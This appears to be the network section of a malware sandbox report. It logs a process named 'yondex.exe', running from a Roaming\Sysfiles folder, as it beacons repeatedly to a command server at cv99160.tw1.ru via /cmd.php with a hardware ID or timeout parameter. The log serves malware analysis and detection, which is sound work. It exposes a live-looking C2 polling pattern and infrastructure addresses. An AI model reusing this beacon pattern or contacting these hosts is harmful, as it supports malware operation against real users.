2024-06-23 09:33:20 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=39663e3f8122190ce5b90d2b90a93917; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49829	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:23 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:33:23 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=158bcf7829f0a385de71cfcc080cdf66; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49830	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:24 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:33:24 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=c31e6d09781a29b4bb3f57c83a253833; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:33:24 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49831	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:27 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:33:28 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=17cff0905b837661deca5e9f59e623fb; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49832	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:29 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:33:29 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=1b833358338339ee9e639a450ee0691b; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:33:29 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49833	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:32 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:33:32 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=487bb92847b35f60a71dc3771110a213; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49834	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:33 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:33:34 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=0fae2210cfb3762cda62a65c77170b71; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:33:34 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49835	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:37 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:33:38 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=0530a8ad29f61a63f6f73a10135f8627; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49836	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:39 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:33:39 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=9ded875ca8c6cabc1f095e5648a11911; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:33:39 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49837	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:41 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:33:41 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=30bc2876f36a496f4892baee64804625; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49838	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:42 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:33:42 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=1b082adda46542133cd365ccb5d29aba; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:33:42 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49839	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:43 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:33:43 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=5da3d54346931780281a920e6b9cc820; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49840	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:44 UTC	148	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:33:45 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=1b409a62f0514f41f554dc54e764d330; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49841	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:45 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:33:46 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=86fa6ee6c7293cfce5539071dc9c0689; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49842	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:46 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:33:47 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=a73701951f31623ce2beac67fb15fd60; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49844	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:48 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:33:48 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=aace48851006561d6328d57d0a5c0a47; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49845	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:49 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:33:49 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=3ad9d1877934d6bac33ef57e70d1551e; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:33:49 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49846	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:51 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:33:52 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=4d873cfc3f817515a4baece4ae74166b; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49847	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:52 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:33:53 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=243d6afa948662cc68cf567fbbb026bc; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:33:53 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49848	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:56 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:33:56 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=e3d3e6542c0ab9081672c9eae0198e41; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49849	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:33:57 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:33:57 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:33:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=39f21fb076571cf0a3cc2a0ce3b230f8; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:33:57 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49850	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:00 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:34:00 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=aec18e3f60e505b810e0dc3fdc9a435e; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49851	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:01 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:02 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=56ad6948c0f0de49f19421293d276ed9; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:34:02 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49852	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:03 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:34:03 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=e243a82f7d1fe4cdb0aaddadba0106bb; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49853	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:04 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:04 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=40e2762714a7c021d8ff77fb46ea606c; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:34:04 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49854	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:07 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:34:08 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=1c9f2b82e667986962b3cd7564aa0ff4; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49855	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:08 UTC	148	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:09 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=3bead8d61655891095023b04bcdd1625; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49856	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:09 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:10 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=cb9ea5e2eccba66033dc098ddb50257a; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:34:10 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49857	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:11 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:34:11 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=6774ebaa5911cfd3f230cd7f2a6bfd53; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49858	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:12 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:12 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=4d067782ceea1c1b531283c80f1fa242; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:34:12 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49859	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:15 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:34:15 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=579aa3f864adfa2e305cd11b65eb6402; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49860	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:16 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:16 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=4028b942615069fd4b9aabd677bc0e81; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:34:16 UTC	1	IN	Data Raw: 31 Data Ascii: 1
